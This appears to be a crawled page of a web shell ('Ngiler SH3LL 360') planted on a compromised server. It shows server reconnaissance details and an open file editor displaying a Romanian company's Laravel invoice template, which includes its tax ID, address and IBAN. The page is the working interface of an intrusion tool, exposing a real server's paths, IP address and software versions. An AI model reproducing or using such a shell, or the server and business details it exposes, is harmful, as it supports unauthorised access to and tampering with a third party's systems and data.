Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
cursbackend
/
resources
/
views
/
invoices
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
proforma.blade.php
| Size :
7.01
KB
Copy
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Factura Proforma - The Basic Fundamentals</title> </head> <style> table { width: 100%; } table td { width: 50%; vertical-align:top; font-family: Arial, sans-serif; font-size: 14px; color: black; vertical-align: top; } table td span { text-transform: uppercase; font-size: 16px; font-weight: bold; display: block; margin-bottom: 10px; } .divider { width: 100%; height: 2px; background: black; margin: 20px 0; } .fact { border-collapse: collapse; border: 2px solid black; margin-top: 30px; } .fact td { border: 2px solid black; padding: 5px; } .fact-head td { font-weight: bold; background: #d2d2d2; } .footer { color: #ccc; text-align: left; font-family: Arial, sans-serif; font-size: 14px; position: absolute; bottom: 0px; left: 20px; } .footer span { font-size: 50px; display: block; font-weight: bold; } div.breakNow { page-break-inside:avoid; page-break-after:always; } </style> <body> @if($invoice->currency == "EUR" || $invoice->currency == "USD") <?php $price_without_vta = round((($invoice->amount) * $invoice->exchange_value)/1.19,2); ?> <?php $vat = round((($invoice->amount * $invoice->exchange_value) - $price_without_vta),2); ?> <?php $total_amount = number_format(round($invoice->amount * $invoice->exchange_value, 2), 2, ',', '.'); ?> @else <?php $price_without_vta = round(($invoice->amount/1.19),2); ?> <?php $vat = round(($invoice->amount - $price_without_vta),2); ?> <?php $total_amount = number_format(round($invoice->amount, 2), 2, ',', '.'); ?> @endif <table> <tr> <td style=" width:60%;"> <span>S.C. TBF CORE S.R.L.</span> <strong>CIF:</strong> RO 41257754<br /> <strong>Reg. Com.:</strong> J23/2632/2019<br /> <strong>Adresa:</strong> Bld. Pipera nr 1-IA, Voluntari, Ilfov<br /> <strong>Email:</strong> contact@tbf.ro, financiar@tbf.ro<br /> <strong>Capital social:</strong> 200 Lei<br /> <strong>IBAN:</strong>RO23BTRLRONCRT0506204801<br> <strong>Banca:</strong>BANCA TRANSILVANIA </td> </tr> <!--<tr>--> <!-- <td style=" width:60%;">--> <!-- <span>S.C. TBF APPS S.R.L.</span>--> <!-- <strong>CIF:</strong> RO 41670067<br />--> <!-- <strong>Reg. Com.:</strong> J26/1830/2019 <br />--> <!-- <strong>Adresa:</strong> strada Argesului, Targu Mures, Mures<br />--> <!-- <strong>Email:</strong> contact@tbf.ro, digital@tbf.ro<br />--> <!-- <strong>Capital social:</strong> 300 Lei<br />--> <!-- <strong>IBAN:</strong>RO30BTRLRONCRT0519683601<br>--> <!-- <strong>Banca:</strong>BANCA TRANSILVANIA--> <!-- </td>--> <!--</tr>--> </table> <div class="divider"></div> <table> <tr> <td style="width: 50%;"> Client<br /> <span>{{ $invoice->company_name != null ? $invoice->company_name : $invoice->billing_name }}</span> @if($invoice->cnp != null) <strong>CNP: </strong> {{$invoice->cnp}}<br /> @endif @if($invoice->cui != null) <strong>CIF:</strong> {{Str::upper($invoice->cui)}}<br /> <strong>Reg. Com:</strong>{{$invoice->nr_reg}}<br /> <strong>Adresa:</strong>{{$invoice->address}}<br /> @if($invoice->bank_name != null)<strong>Denumire banca:</strong>{{$invoice->bank_name}}<br />@endif @endif @if($invoice->email != null) <strong>Email: </strong>{{$invoice->email}}<br /> @endif </td> <td style="width: 50%;"> Document<br /> <span>PROFORMA</span> <strong>Numar proforma: </strong>#{{$invoice->series."-".$invoice->number}}<br> <strong>Data: </strong> {{ Carbon\Carbon::parse($invoice->created_at)->formatLocalized('%Y-%m-%e') }}<br /> <strong>Termen plata: </strong> {{ Carbon\Carbon::parse($invoice->created_at)->addDay(1)->formatLocalized('%Y-%m-%e') }}<br> <strong>Cota TVA: </strong>19% <br> <br> <br> <table width="100%"> <tbody> <tr> <td style="background: #000;padding-top: 10px;padding-left: 10px;"> <span style="color:#fff;">TOTAL PLATA: {{ $total_amount }} {{ $invoice->currency }}</span> </td> </tr> </tbody> </table> </td> </tr> </table> <table class="fact"> <tr class="fact-head"> <td style="width:210px;">Denumirea produselor sau a serviciilor</td> <td style="width:25px;">Cantitate</td> <td style="width:90px;">Pret unitar (fara TVA) -Lei-</td> <td style="width:90px;">Valoare TVA -Lei-</td> <td style="width:90px;">Total -Lei-</td> </tr> <tr> <td> {{ $invoice->instance->package->name }} <br> {!! $invoice->instance->package->short_description !!} </td> <td style="text-align:right;">1</td> <td style="text-align:right;">{{ number_format($price_without_vta, 2, ',', '.') }}</td> <td style="text-align:right;">{{ number_format($vat, 2, ',', '.') }}</td> <td style="text-align:right;">{{ $total_amount }}</td> </tr> @if($invoice->currency == "EUR") <tr class="fact-foot"> <td colspan="5"> Curs BNR {{Carbon\Carbon::parse($invoice->created_at)->formatLocalized('%Y-%m-%e')}} (1 EUR - {{$invoice->exchange_value}} RON) </td> <td style="text-align:right; font-weight: bold;"></td> </tr> @endif @if($invoice->currency == "USD") <tr class="fact-foot"> <td colspan="5"> Curs BNR {{Carbon\Carbon::parse($invoice->created_at)->formatLocalized('%Y-%m-%e')}} (1 USD - {{$invoice->exchange_value}} RON) </td> <td style="text-align:right; font-weight: bold;"></td> </tr> @endif <tr class="fact-foot"> <td colspan="4">Valoare totala factura curenta (RON)</td> <td style="text-align:right; font-weight: bold;"> {{ $total_amount }} </td> </tr> </table> <table style="width: 100%;border: 0px;"> <tr> <td style="text-align: right;"></td> </tr> </table> <div class="footer"> <br> Termeni si conditii: <a href="https://tbf.ro/termeni-si-conditii-generale">https://tbf.ro/termeni-si-conditii-generale</a> <!--Termeni si conditii: <a href="https://tbf.ro/termeni-si-conditii-transformation-bundle">https://tbf.ro/termeni-si-conditii-transformation-bundle</a>--> </div> </body> </html>
Back